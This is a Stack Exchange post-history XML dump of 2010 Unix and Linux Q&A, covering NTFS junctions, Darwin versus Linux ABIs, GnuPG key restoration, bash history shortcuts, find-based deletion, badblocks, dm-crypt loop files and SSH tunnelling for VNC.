  <row Id="7118" PostHistoryTypeId="3" PostId="3348" RevisionGUID="2c6048a7-09b9-40ed-9cc7-d8f1f8cc9b38" CreationDate="2010-10-21T04:30:25.250" UserId="1071" Text="égnuàécoreutilsàéstatà" />
  <row Id="7119" PostHistoryTypeId="2" PostId="3349" RevisionGUID="8f305855-a82f-46d8-a3fb-5124b77be20a" CreationDate="2010-10-21T04:43:06.570" UserId="1779" Text="NTFS junction points are a type of reparse point, effectively acting as symbolic links but restricted to targeting local directories by absolute path.&#xD;&#xA;&#xD;&#xA;Suppose you have&#xD;&#xA;&#xD;&#xA;    C:\&gt;mkdir a b&#xD;&#xA;    C:\&gt;linkd b\c C:\a&#xD;&#xA;&#xD;&#xA;What happens is that within the directory table for `C:\b`, a directory entry named `c` is inserted, with an attribute `$Reparse` containing data specifying that it is a junction point with target `C:\a`.&#xD;&#xA;&#xD;&#xA;When Windows 2000 (when reparse points and junction points were introduced) encounters a reparse point, it gets handed off to the appropriate handler.  In this case, when accessing a path below `C:\b\c`, the handler for junction points would replace the path `C:\b\c` with `C:\a` and normal filesystem operations would continue from there on.&#xD;&#xA;&#xD;&#xA;Other file system filters can be installed which intercept and handle other types of reparse points; Windows Vista, Server 2008, and later come with a handler for &quot;symlink&quot; reparse points on NTFS, which can point to a file or directory, absolute or relative, local or remote - pretty much like symlinks on other systems.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Separately, NTFS does have support for hardlinks, in much the same manner UNIX does - multiple directory entries can point to the same &quot;inode&quot;, which is the actual file data.  This has nothing to do with reparse points.  On almost all systems, hard links can only be made to files; hardlinking directories is fraught with danger.  (Among other things, what should the `..` entry of a hardlinked directory point to?)" />
  <row Id="7120" PostHistoryTypeId="2" PostId="3350" RevisionGUID="bc87198b-e204-4ab4-a030-81c2d55d2fbd" CreationDate="2010-10-21T05:44:01.580" UserId="1779" Text="The whole [ABI](http://en.wikipedia.org/wiki/Application_binary_interface) is different, not just the binary format (Mach-O versus ELF) as sepp2k mentioned.&#xD;&#xA;&#xD;&#xA;For example, while both Linux and Darwin/XNU (the kernel of OS X) use `sc` on PowerPC and `int 0x80`/`sysenter`/`syscall` on x86 for syscall entry, there's not much more in common from there on.&#xD;&#xA;&#xD;&#xA;Darwin directs negative syscall numbers at the Mach microkernel and positive syscall numbers at the BSD monolithic kernel ­— see [xnu/osfmk/mach/syscall_sw.h](http://codesearch.google.com/codesearch/p?hl=en#pFm0LxzAWvs/darwinsource/tarballs/apsl/xnu-792.13.8.tar.gz%7CziJbqhCXHqI/xnu-792.13.8/osfmk/mach/syscall_sw.h) and [xnu/bsd/kern/syscalls.master](http://codesearch.google.com/codesearch/p?hl=en#pFm0LxzAWvs/darwinsource/tarballs/apsl/xnu-792.13.8.tar.gz%7CziJbqhCXHqI/xnu-792.13.8/bsd/kern/syscalls.master).  Linux's syscall numbers vary by architecture — see [linux/arch/powerpc/include/asm/unistd.h](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=arch/powerpc/include/asm/unistd.h), [linux/arch/x86/include/asm/unistd_32.h](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=arch/x86/include/asm/unistd_32.h), and [linux/arch/x86/include/asm/unistd_64.h](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=arch/x86/include/asm/unistd_64.h) — but are all nonnegative.  So obviously syscall numbers, syscall arguments, and even *which* syscalls exist are different.&#xD;&#xA;&#xD;&#xA;The standard C runtime libraries are different too; Darwin mostly inherits FreeBSD's libc, while Linux typically uses glibc (but there are alternatives, like eglibc and dietlibc and uclibc and Bionic).&#xD;&#xA;&#xD;&#xA;Not to mention that the whole graphics stack is different; ignoring the whole Cocoa Objective-C libraries, GUI programs on OS X talk to WindowServer over Mach ports, while on Linux, GUI programs usually talk to the X server over UNIX domain sockets using the X11 protocol.  Of course there are exceptions; you can run X on Darwin, and you can bypass X on Linux, but OS X applications definitely do not talk X.&#xD;&#xA;&#xD;&#xA;Like Wine, if somebody put the work into&#xD;&#xA;&#xD;&#xA;  - implementing a binary loader for Mach-O&#xD;&#xA;  - trapping every XNU syscall and converting it to appropriate Linux syscalls&#xD;&#xA;  - writing replacements for OS X libraries like CoreFoundation as needed&#xD;&#xA;  - writing replacements for OS X services like WindowServer as needed&#xD;&#xA;&#xD;&#xA;then running an OS X program &quot;natively&quot; on Linux could be possible.  Years ago, Kyle Moffet did some work on the first item, creating a prototype [binfmt_mach-o](http://thread.gmane.org/gmane.linux.kernel/510453) for Linux, but it was never completed, and I know of no other similar projects.&#xD;&#xA;&#xD;&#xA;(In theory this is possible, though; in addition to Wine, Linux itself has support for running binaries from other UNIXes like HP-UX and Tru64, and the [Glendix](http://www.glendix.org/) project aims to bring Plan 9 compatiblity to Linux.)" />
  <row Id="7121" PostHistoryTypeId="5" PostId="3350" RevisionGUID="7e7c4217-f8f4-44f4-9cb7-292b716a3b3d" CreationDate="2010-10-21T05:49:40.667" UserId="1779" Comment="added 45 characters in body" Text="The whole [ABI](http://en.wikipedia.org/wiki/Application_binary_interface) is different, not just the binary format (Mach-O versus ELF) as sepp2k mentioned.&#xD;&#xA;&#xD;&#xA;For example, while both Linux and Darwin/XNU (the kernel of OS X) use `sc` on PowerPC and `int 0x80`/`sysenter`/`syscall` on x86 for syscall entry, there's not much more in common from there on.&#xD;&#xA;&#xD;&#xA;Darwin directs negative syscall numbers at the Mach microkernel and positive syscall numbers at the BSD monolithic kernel ­— see [xnu/osfmk/mach/syscall_sw.h](http://codesearch.google.com/codesearch/p?hl=en#pFm0LxzAWvs/darwinsource/tarballs/apsl/xnu-792.13.8.tar.gz%7CziJbqhCXHqI/xnu-792.13.8/osfmk/mach/syscall_sw.h) and [xnu/bsd/kern/syscalls.master](http://codesearch.google.com/codesearch/p?hl=en#pFm0LxzAWvs/darwinsource/tarballs/apsl/xnu-792.13.8.tar.gz%7CziJbqhCXHqI/xnu-792.13.8/bsd/kern/syscalls.master).  Linux's syscall numbers vary by architecture — see [linux/arch/powerpc/include/asm/unistd.h](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=arch/powerpc/include/asm/unistd.h), [linux/arch/x86/include/asm/unistd_32.h](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=arch/x86/include/asm/unistd_32.h), and [linux/arch/x86/include/asm/unistd_64.h](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=arch/x86/include/asm/unistd_64.h) — but are all nonnegative.  So obviously syscall numbers, syscall arguments, and even *which* syscalls exist are different.&#xD;&#xA;&#xD;&#xA;The standard C runtime libraries are different too; Darwin mostly inherits FreeBSD's libc, while Linux typically uses glibc (but there are alternatives, like eglibc and dietlibc and uclibc and Bionic).&#xD;&#xA;&#xD;&#xA;Not to mention that the whole graphics stack is different; ignoring the whole Cocoa Objective-C libraries, GUI programs on OS X talk to WindowServer over Mach ports, while on Linux, GUI programs usually talk to the X server over UNIX domain sockets using the X11 protocol.  Of course there are exceptions; you can run X on Darwin, and you can bypass X on Linux, but OS X applications definitely do not talk X.&#xD;&#xA;&#xD;&#xA;Like Wine, if somebody put the work into&#xD;&#xA;&#xD;&#xA;  - implementing a binary loader for Mach-O&#xD;&#xA;  - trapping every XNU syscall and converting it to appropriate Linux syscalls&#xD;&#xA;  - writing replacements for OS X libraries like CoreFoundation as needed&#xD;&#xA;  - writing replacements for OS X services like WindowServer as needed&#xD;&#xA;&#xD;&#xA;then running an OS X program &quot;natively&quot; on Linux could be possible.  Years ago, Kyle Moffet did some work on the first item, creating a prototype [binfmt_mach-o](http://thread.gmane.org/gmane.linux.kernel/510453) for Linux, but it was never completed, and I know of no other similar projects.&#xD;&#xA;&#xD;&#xA;(In theory this is quite possible, and similar efforts have been done many times; in addition to Wine, Linux itself has support for running binaries from other UNIXes like HP-UX and Tru64, and the [Glendix](http://www.glendix.org/) project aims to bring Plan 9 compatiblity to Linux.)" />
  <row Id="7122" PostHistoryTypeId="2" PostId="3351" RevisionGUID="bcd4b134-da94-4c8f-9ddf-58cb3fe35a64" CreationDate="2010-10-21T06:04:09.380" UserId="1779" Text="[stat: print timestamps to full resolution](http://git.savannah.gnu.org/cgit/coreutils.git/commit/?id=9069af45e691d1252c727da66aa4f3f3c7f1ea29) was committed to coreutils-8.6.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ git clone git://git.savannah.gnu.org/coreutils.git&#xD;&#xA;$ cd coreutils&#xD;&#xA;$ git log -1 --grep=time -- src/stat.c&#xD;&#xA;commit 9069af45e691d1252c727da66aa4f3f3c7f1ea29&#xD;&#xA;Author: Eric Blake &lt;eblake@redhat.com&gt;&#xD;&#xA;Date:   Thu Sep 30 16:42:13 2010 -0600&#xD;&#xA;&#xD;&#xA;    stat: print timestamps to full resolution&#xD;&#xA;    &#xD;&#xA;    * src/stat.c (epoch_time): New function.&#xD;&#xA;    (print_stat): Use it for %[WXYZ].&#xD;&#xA;    * NEWS: Document this.&#xD;&#xA;    * tests/touch/60-seconds: Adjust test to match.&#xD;&#xA;    * tests/misc/stat-birthtime: Likewise.&#xD;&#xA;$ git describe --contains 9069af4&#xD;&#xA;v8.6~29&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="7123" PostHistoryTypeId="2" PostId="3352" RevisionGUID="9dbeb055-d9f4-4d46-bbd7-a67a3ff6ecd2" CreationDate="2010-10-21T06:13:32.017" UserId="538" Text="It seems that wildcards are not supported in the /etc/hosts file.&#xD;&#xA;&#xD;&#xA;What is the best solution for me to resolve all *.local domains to localhost?" />
  <row Id="7124" PostHistoryTypeId="1" PostId="3352" RevisionGUID="9dbeb055-d9f4-4d46-bbd7-a67a3ff6ecd2" CreationDate="2010-10-21T06:13:32.017" UserId="538" Text="Wildcard in /etc/hosts file" />
  <row Id="7125" PostHistoryTypeId="3" PostId="3352" RevisionGUID="9dbeb055-d9f4-4d46-bbd7-a67a3ff6ecd2" CreationDate="2010-10-21T06:13:32.017" UserId="538" Text="éhostnameà" />
  <row Id="7126" PostHistoryTypeId="2" PostId="3353" RevisionGUID="b8ebefab-5cfd-4af2-b6ff-d53c9faaa479" CreationDate="2010-10-21T06:20:25.093" UserId="1779" Text="In theory [convertfs](http://tzukanov.narod.ru/convertfs/) might work (in one shot).  I'm not 100% sure though, this depends on the Linux NTFS driver being able to create a sparse file." />
  <row Id="7127" PostHistoryTypeId="5" PostId="3325" RevisionGUID="7f97ee23-2af0-49db-8954-0db80cd9416f" CreationDate="2010-10-21T08:56:56.513" UserId="1327" Comment="added 13 characters in body" Text="In short, distro's like Ubuntu make money by providing companies 24/7 [support][1] packages. &#xD;&#xA;&#xD;&#xA;So now the money that usually spent on software can now go for the guy keeping the software running... which in this case is [Canonical](http://www.canonical.com/)...&#xD;&#xA;&#xD;&#xA;[1]:http://www.ubuntulinux.org/support/services" />
  <row Id="7128" PostHistoryTypeId="2" PostId="3354" RevisionGUID="d843d687-831b-4b99-9698-76797a6cc21e" CreationDate="2010-10-21T09:39:22.123" UserId="529" Text="I know that GnuPG is all about security, thus it's not giving many chance of retrieve private keys (otherwise anyone could do it) but I've got a private key, and my own rev.asc file.&#xD;&#xA;&#xD;&#xA;I had to reinstall my Ubuntu box (former Ubuntu Studio) and I have backup of /home and /etc.&#xD;&#xA;&#xD;&#xA;Is it possible to recover my GnuPG key instead of revoke it and create another one?" />
  <row Id="7129" PostHistoryTypeId="1" PostId="3354" RevisionGUID="d843d687-831b-4b99-9698-76797a6cc21e" CreationDate="2010-10-21T09:39:22.123" UserId="529" Text="How to restore GnuPG key after reinstall?" />
  <row Id="7130" PostHistoryTypeId="3" PostId="3354" RevisionGUID="d843d687-831b-4b99-9698-76797a6cc21e" CreationDate="2010-10-21T09:39:22.123" UserId="529" Text="ésecurityàéencryptionàécryptographyà" />
  <row Id="7131" PostHistoryTypeId="2" PostId="3355" RevisionGUID="ca912908-6532-445d-8dce-c4c5338718cd" CreationDate="2010-10-21T09:59:58.097" UserId="281" Text="By default, GPG stores everything under the `.gnupg` directory in your home directory. (Your encrypted private key should be in `~/.gnupg/secring.gpg`).&#xD;&#xA;&#xD;&#xA;Restoring the entire `~/.gnupg` directory from your backup will probably do the trick." />
  <row Id="7132" PostHistoryTypeId="5" PostId="3343" RevisionGUID="b31a0f91-e112-4c95-a9b0-9bafe2a972f6" CreationDate="2010-10-21T10:35:44.847" UserId="250" Comment="added 1 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have just tried booting the Ubuntu 10.10 64 bit live USB on this machine and to my amazement everything works fine. I even installed the system, after which I checked with `uname -a` and the result is&#xD;&#xA;&#xD;&#xA;&gt;Linux T205-04 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:32:27 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;&#xD;&#xA;This is quite confusing to me. To my knowledge Pentium 4 is 32 bit only. How was that possible?&#xD;&#xA;&#xD;&#xA;Below is the result of `cat /proc/cpuinfo` (there are 2 CPUs, but the information is the same)&#xD;&#xA;&lt;pre&gt;processor	: 1&#xD;&#xA;vendor_id	: GenuineIntel&#xD;&#xA;cpu family	: 15&#xD;&#xA;model		: 4&#xD;&#xA;model name	: Intel(R) Pentium(R) 4 CPU 3.00GHz&#xD;&#xA;stepping	: 3&#xD;&#xA;cpu MHz		: 2800.000&#xD;&#xA;cache size	: 2048 KB&#xD;&#xA;physical id	: 0&#xD;&#xA;siblings	: 2&#xD;&#xA;core id		: 0&#xD;&#xA;cpu cores	: 1&#xD;&#xA;apicid		: 1&#xD;&#xA;initial apicid	: 1&#xD;&#xA;fpu		: yes&#xD;&#xA;fpu_exception	: yes&#xD;&#xA;cpuid level	: 5&#xD;&#xA;wp		: yes&#xD;&#xA;flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc pebs bts pni dtes64 monitor ds_cpl est cid cx16 xtpr&#xD;&#xA;bogomips	: 6000.41&#xD;&#xA;clflush size	: 64&#xD;&#xA;cache_alignment	: 128&#xD;&#xA;address sizes	: 36 bits physical, 48 bits virtual&#xD;&#xA;power management:&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="7133" PostHistoryTypeId="2" PostId="3356" RevisionGUID="a2fcf97f-967f-406b-8262-a4d081443dae" CreationDate="2010-10-21T11:04:19.560" UserId="2359" Text="You'd really need to run your own DNS server and use wildcards.  Exactly how you'd do that would depend on the DNS package you ran." />
  <row Id="7134" PostHistoryTypeId="2" PostId="3357" RevisionGUID="aab70dbf-3d08-4bd8-8eb2-723aed71264b" CreationDate="2010-10-21T11:17:27.470" UserId="2179" Text="Often times I issue different commands on the same file. For example:&#xD;&#xA;&#xD;&#xA;    $ youtube-dl aB54c4p0eo #I made this video id up on the spot&#xD;&#xA;    $ mv aB54c4p0eo.flv kittens.flv&#xD;&#xA;    $ vlc kittens.flv&#xD;&#xA;    $ rm kittens.flv&#xD;&#xA;&#xD;&#xA;Is there a way to reuse arguments from the previous command in the current so that I don't have to rewrite it?" />
  <row Id="7135" PostHistoryTypeId="1" PostId="3357" RevisionGUID="aab70dbf-3d08-4bd8-8eb2-723aed71264b" CreationDate="2010-10-21T11:17:27.470" UserId="2179" Text="How do you recall the last (n-th?) passed argument of the previous command you used with bash?" />
  <row Id="7136" PostHistoryTypeId="3" PostId="3357" RevisionGUID="aab70dbf-3d08-4bd8-8eb2-723aed71264b" CreationDate="2010-10-21T11:17:27.470" UserId="2179" Text="ébashà" />
  <row Id="7137" PostHistoryTypeId="2" PostId="3358" RevisionGUID="4f13ac53-2274-4db0-863a-872596ec1bf7" CreationDate="2010-10-21T11:18:40.337" UserId="2179" Text="One relatively slow way is recalling the previous command with &lt;b&gt;&lt;kbd&gt;↑&lt;/kbd&gt;&lt;/b&gt; and replacing the previous command with the newer one.&#xD;&#xA;" />
  <row Id="7138" PostHistoryTypeId="5" PostId="3355" RevisionGUID="4e754a03-6798-419d-99cb-84985b97b925" CreationDate="2010-10-21T11:20:39.000" UserId="33" Comment="removed a &quot;probably&quot; because the solution was perfect." Text="By default, GPG stores everything under the `.gnupg` directory in your home directory. (Your encrypted private key should be in `~/.gnupg/secring.gpg`).&#xD;&#xA;&#xD;&#xA;Restoring the entire `~/.gnupg` directory from your backup will do the trick." />
  <row Id="7139" PostHistoryTypeId="2" PostId="3359" RevisionGUID="946b5f15-f845-48b6-84ac-7ce040a55bfa" CreationDate="2010-10-21T11:32:48.643" UserId="2327" Text="In bash you can use the shortcut `Alt` + `.`.  &#xD;&#xA;Hitting it once, will give you the last argument. Hitting it more will cycle through your last arguments." />
  <row Id="7140" PostHistoryTypeId="2" PostId="3360" RevisionGUID="d97632e3-49de-476c-a6d2-7d2a530c6f1c" CreationDate="2010-10-21T11:46:43.677" UserId="1941" Text="In bash, you can also use $_ for the last command line argument of the last command you typed:&#xD;&#xA;&#xD;&#xA;    $ youtube-dl aB54c4p0eo #I made this video id up on the spot&#xD;&#xA;    $ mv aB54c4p0eo.flv kittens.flv&#xD;&#xA;    $ vlc kittens.flv&#xD;&#xA;    $ rm kittens.flv&#xD;&#xA;&#xD;&#xA;becomes:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ youtube-dl aB54c4p0eo #I made this video id up on the spot&#xD;&#xA;    $ mv $_ kittens.flv&#xD;&#xA;    $ vlc $_&#xD;&#xA;    $ rm $_&#xD;&#xA;" />
  <row Id="7141" PostHistoryTypeId="2" PostId="3361" RevisionGUID="a579f061-0014-403e-8370-8093eb9a54a6" CreationDate="2010-10-21T11:49:26.480" UserId="1941" Text="You might have a look at [dotdeb][1]. They have Debian packages for Debian-based LAMP servers and offer among others packages for PHP 5.3.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dotdeb.org/" />
  <row Id="7142" PostHistoryTypeId="2" PostId="3362" RevisionGUID="1193430f-0bed-4f60-a4b1-dcefb01cad91" CreationDate="2010-10-21T11:50:14.733" UserId="446" Text="As a Unix beginner, I often find myself wanting to know the name of the command that achieves a particular function I'm after.&#xD;&#xA;&#xD;&#xA;I want this post to act as a comprehensive command reference where anyone can browse and find what they're after." />
  <row Id="7143" PostHistoryTypeId="1" PostId="3362" RevisionGUID="1193430f-0bed-4f60-a4b1-dcefb01cad91" CreationDate="2010-10-21T11:50:14.733" UserId="446" Text="List of *nix terminal commands" />
  <row Id="7144" PostHistoryTypeId="3" PostId="3362" RevisionGUID="1193430f-0bed-4f60-a4b1-dcefb01cad91" CreationDate="2010-10-21T11:50:14.733" UserId="446" Text="éunixàéreferenceà" />
  <row Id="7145" PostHistoryTypeId="2" PostId="3363" RevisionGUID="eae76d53-ec2d-478c-b96a-c77dc03fa289" CreationDate="2010-10-21T11:55:21.697" UserId="2327" Text="A good starting point, if you don't know the exact command name, is `apropos`. You'll find a short description [here](http://linux.about.com/library/cmd/blcmdl1_apropos.htm) or with `man apropos`." />
  <row Id="7146" PostHistoryTypeId="2" PostId="3364" RevisionGUID="6bed7143-bb44-4fe4-bc4b-f7711fab2d34" CreationDate="2010-10-21T11:57:00.073" UserId="1941" Text="Let `/dev/sda` be the new drive on which to test destructive-rw and `/dev/sdb` the old drive where you want non-destructive-r&#xD;&#xA;&#xD;&#xA;    # badblocks -wsv /dev/sda&#xD;&#xA;    # badblocks -sv /dev/sdb&#xD;&#xA;&#xD;&#xA;`-s` gives the process indicator&#xD;&#xA;&#xD;&#xA;`-v` gives verbose output&#xD;&#xA;&#xD;&#xA;`-w` enables destructive read-write&#xD;&#xA;&#xD;&#xA;`-n` would be non-destructive read-write&#xD;&#xA;&#xD;&#xA;Read-only testing is the default and doesn't need special parameters.&#xD;&#xA;" />
  <row Id="7147" PostHistoryTypeId="2" PostId="3365" RevisionGUID="b19f54ae-48c3-4bde-a1c5-38bc99ab8b78" CreationDate="2010-10-21T12:05:52.407" UserId="274" Text="In bash, the designator for the &quot;last word on previous command line&quot; is `!!$` :&#xD;&#xA;&#xD;&#xA;    $ echo hello world&#xD;&#xA;    hello world&#xD;&#xA;    $ echo goodbye !!$&#xD;&#xA;    echo goodbye world # this is bash echoing actual cmd line before execution&#xD;&#xA;    goodbye world&#xD;&#xA;&#xD;&#xA;You can also use the &quot;caret syntax&quot; to replace the _initial_ part of the command line; this comes handy if you want to execute several commands on the same file:&#xD;&#xA;&#xD;&#xA;    file file.dat&#xD;&#xA;    ^file^ls -l^ #gives `ls -l file.dat`&#xD;&#xA;    ^ls -l^stat # gives `stat file.dat`&#xD;&#xA;&#xD;&#xA;There are many more possibilities; see &quot;History substitution&quot; in the [bash(1) man page](http://manpages.ubuntu.com/1/bash) for details." />
  <row Id="7148" PostHistoryTypeId="2" PostId="3366" RevisionGUID="53ee9544-e690-4197-8f8c-2800bcd31c69" CreationDate="2010-10-21T12:22:14.247" UserId="529" Text="I have a lot of directory where there are hundreds of files.&#xD;&#xA;&#xD;&#xA;In every directory there are pairs of my_file-01.jpg and my_file-€01.jpg&#xD;&#xA;&#xD;&#xA;I want to remove every file that contains € sign in its title: how to do that?" />
  <row Id="7149" PostHistoryTypeId="1" PostId="3366" RevisionGUID="53ee9544-e690-4197-8f8c-2800bcd31c69" CreationDate="2010-10-21T12:22:14.247" UserId="529" Text="How do I remove every file that has x in its title?" />
  <row Id="7150" PostHistoryTypeId="3" PostId="3366" RevisionGUID="53ee9544-e690-4197-8f8c-2800bcd31c69" CreationDate="2010-10-21T12:22:14.247" UserId="529" Text="éshellàézshàégrepà" />
  <row Id="7151" PostHistoryTypeId="2" PostId="3367" RevisionGUID="906bc098-a137-417f-8604-ce14f78b9a63" CreationDate="2010-10-21T12:27:35.717" UserId="33" Text="`find` does the job:&#xD;&#xA;&#xD;&#xA;`find . -iname &quot;*€*&quot; -delete` gets rid of all files whose name matches &quot;*€*&quot;, be careful, find goes into subdirectories as well, if you don't want that you have to tune the find params a little" />
  <row Id="7152" PostHistoryTypeId="2" PostId="3368" RevisionGUID="675b7d84-8142-4ab9-ba2c-0c682579c134" CreationDate="2010-10-21T12:28:26.060" UserId="272" Text="Something along the lines of&#xD;&#xA;&#xD;&#xA;    find -name '*€' -delete&#xD;&#xA;&#xD;&#xA;You might want to try this first, to see if the correct files would be delete:&#xD;&#xA;&#xD;&#xA;    find -name '*€' -ls" />
  <row Id="7153" PostHistoryTypeId="2" PostId="3369" RevisionGUID="5cc13cf6-0629-44e8-81a2-ae7ab71b78d8" CreationDate="2010-10-21T12:30:17.817" UserId="1325" Text="Hi,&#xD;&#xA; &#xD;&#xA;I am using PuTTY to connect to a distant network to then set up x11vnc and then using ssl/sshvnc as a client. &#xD;&#xA;&#xD;&#xA;in the host name for PuTTY I have: ssh.inf.uk&#xD;&#xA;&#xD;&#xA;and port: 22&#xD;&#xA;&#xD;&#xA;in the ssh tunnel options I have source port set to: 5910&#xD;&#xA;&#xD;&#xA;and destination: markinch.inf.uk&#xD;&#xA;&#xD;&#xA;Then putty brings up an xterm and I am prompted for my username and password. I get to the common gateway machine and do &#xD;&#xA;&#xD;&#xA;    ssh markinch&#xD;&#xA;&#xD;&#xA;then I set up the x11vnc server&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    x11vnc -ssl -usepw -rfbport 5910 -create -geometry 1200x800&#xD;&#xA;&#xD;&#xA;I use ssl/ssh vnc viewer with the verify certs off and host port set to,  localhost:10&#xD;&#xA;and put the password, and connect fine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---Now I want to bypass usuing PuTTY, and do the ssh connection via command line. So I do&#xD;&#xA;&#xD;&#xA;     ssh -L localhost:5910:ssh.inf.uk:5910 vass@ssh.inf.uk&#xD;&#xA;&#xD;&#xA;which brings me into the gateway machine, then I need to log into a specific desktop&#xD;&#xA;&#xD;&#xA;     ssh -L localhost:5910:markinch.inf.uk:5910 markinch&#xD;&#xA;&#xD;&#xA;Then I set up the x11vnc server,&#xD;&#xA;&#xD;&#xA;    x11vnc -ssl -usepw -rfbport 5910 -create -geometry 1200x800&#xD;&#xA;&#xD;&#xA;then I use ssl/ssh vnc viewer with verify certificates off, localhost:10, and with the password in, and get:&#xD;&#xA;    PORT=5910&#xD;&#xA;&#xD;&#xA;    SSLPORT=5910&#xD;&#xA;&#xD;&#xA;    channel 3: open failed: connect failed: Connection refused&#xD;&#xA;&#xD;&#xA;What is putty doing so different?&#xD;&#xA;Best," />
  <row Id="7154" PostHistoryTypeId="1" PostId="3369" RevisionGUID="5cc13cf6-0629-44e8-81a2-ae7ab71b78d8" CreationDate="2010-10-21T12:30:17.817" UserId="1325" Text="vnc connection owrking with PuTTY but not command line" />
  <row Id="7155" PostHistoryTypeId="3" PostId="3369" RevisionGUID="5cc13cf6-0629-44e8-81a2-ae7ab71b78d8" CreationDate="2010-10-21T12:30:17.817" UserId="1325" Text="écommandölineàésshàévncàéputtyàésshötunnelingà" />
  <row Id="7156" PostHistoryTypeId="2" PostId="3370" RevisionGUID="8fd1a1fa-129a-476e-a1ca-9ebd24c163c2" CreationDate="2010-10-21T13:26:15.703" UserId="281" Text="&gt; I want to sync the container to more than one location (in case the thumbdrive breaks or is stolen for example) so I cannot just create another dmcrypt partition on the thumbdrive&#xD;&#xA;&#xD;&#xA;This requirement doesn't have to conflict with dm-crypt. You can create an encrypted file system *inside a file* like this:&#xD;&#xA;&#xD;&#xA;    # create 100M file&#xD;&#xA;    dd if=/dev/zero bs=1M count=100 &gt; somefile&#xD;&#xA;&#xD;&#xA;    # create loopback device backed by somefile&#xD;&#xA;    sudo losetup /dev/loop0 somefile&#xD;&#xA;&#xD;&#xA;    # create dm-crypt mapper device (prompts for passphrase)&#xD;&#xA;    sudo cryptsetup create encrypteddev /dev/loop0&#xD;&#xA;&#xD;&#xA;    # create filesystem&#xD;&#xA;    sudo mkfs.ext3 /dev/mapper/encrypteddev&#xD;&#xA;&#xD;&#xA;    # mount filesystem&#xD;&#xA;    mkdir /home/user/encrypted&#xD;&#xA;    sudo mount /dev/mapper/encrypteddev /home/user/encrypted &#xD;&#xA;&#xD;&#xA;&gt; I want to open the container from my&#xD;&#xA;&gt; GNOME environment without a lot of&#xD;&#xA;&gt; terminal fiddling. Not that I don't&#xD;&#xA;&gt; like terminals, but I want a certain&#xD;&#xA;&gt; level of convenience. (Right-clicking&#xD;&#xA;&gt; in nautilus to &quot;mount&quot; is OK, entering&#xD;&#xA;&gt; 3 commands in a terminal is not&#xD;&#xA;&#xD;&#xA;You could create a mount and unmount script once, and then run those by clicking them. These scripts could be stored next to the encrypted file.&#xD;&#xA;" />
  <row Id="7157" PostHistoryTypeId="4" PostId="3369" RevisionGUID="abdda029-e894-4581-bdae-edc3e3a81dd4" CreationDate="2010-10-21T13:48:09.457" UserId="1339" Comment="spelling" Text="vnc connection working with PuTTY but not with command line" />
  <row Id="7158" PostHistoryTypeId="2" PostId="3371" RevisionGUID="f8575ce5-c148-4d9e-96a7-4041a163cf72" CreationDate="2010-10-21T14:00:06.480" UserId="1941" Text="You might want to print out or bookmark a cheat sheet. I like [this one][1] which is the first result on the Google search for &quot;unix cheat sheet&quot; for a reason.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rain.org/~mkummel/unix.html" />
  <row Id="7159" PostHistoryTypeId="2" PostId="3372" RevisionGUID="5ceab5ce-b9d4-45bd-aca6-ea84f9b49f1e" CreationDate="2010-10-21T14:32:58.813" UserId="2046" Text="&#xD;&#xA;In your putty config, the traffic is exiting the tunnel at ssh.inf.uk and being forwarded directly to markinch.inf.uk.  So you're only building 1 tunnel.&#xD;&#xA;&#xD;&#xA;In your ssh statements, you're building 2 tunnels - one from localhost to ssh.inf.uk, and a second from ssh.inf.uk to markinch.inf.uk.&#xD;&#xA;&#xD;&#xA;I haven't yet worked out why the 2-tunnel solution isn't working for you.  However, you might try adjusting your ssh command to match what putty's doing and see if that works.&#xD;&#xA;&#xD;&#xA;      ssh -L localhost:5910:markinch.inf.uk vass@ssh.inf.uk&#xD;&#xA;" />
  <row Id="7160" PostHistoryTypeId="2" PostId="3373" RevisionGUID="029155f0-ed33-44a6-8df6-02e608f08312" CreationDate="2010-10-21T14:55:18.563" UserId="1383" Text="    man intro&#xD;&#xA;&#xD;&#xA;is the unix way of answering this question.&#xD;&#xA;" />
  <row Id="7161" PostHistoryTypeId="2" PostId="3374" RevisionGUID="18e180db-4df3-4e20-ac1d-6c157a13ad79" CreationDate="2010-10-21T14:59:16.480" UserId="2117" Text="If you want to list all possible commands &#xD;&#xA;try hitting `&lt;Tab&gt;` twice" />
  <row Id="7162" PostHistoryTypeId="6" PostId="3366" RevisionGUID="08602ed0-64a4-4251-970d-41b85d9c78e8" CreationDate="2010-10-21T15:33:54.197" UserId="102" Comment="edited tags" Text="éshellàézshàéfindà" />
  <row Id="7163" PostHistoryTypeId="2" PostId="3375" RevisionGUID="bb15fe77-0b6b-4454-b01d-a641da136fce" CreationDate="2010-10-21T16:10:07.583" UserId="102" Text="From [Wikipedia][1]: “In 2004, the initial 32-bit x86 instruction set of the Pentium 4 microprocessors was extended by the 64-bit x86-64 set.”&#xD;&#xA;&#xD;&#xA;Your `/proc/cpuinfo` output shows `flags: … lm …`. The flag `lm` stands for “long mode“ which means 64-Bit extension. Thus, you have indeed a 64-bit processor.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Pentium_4" />
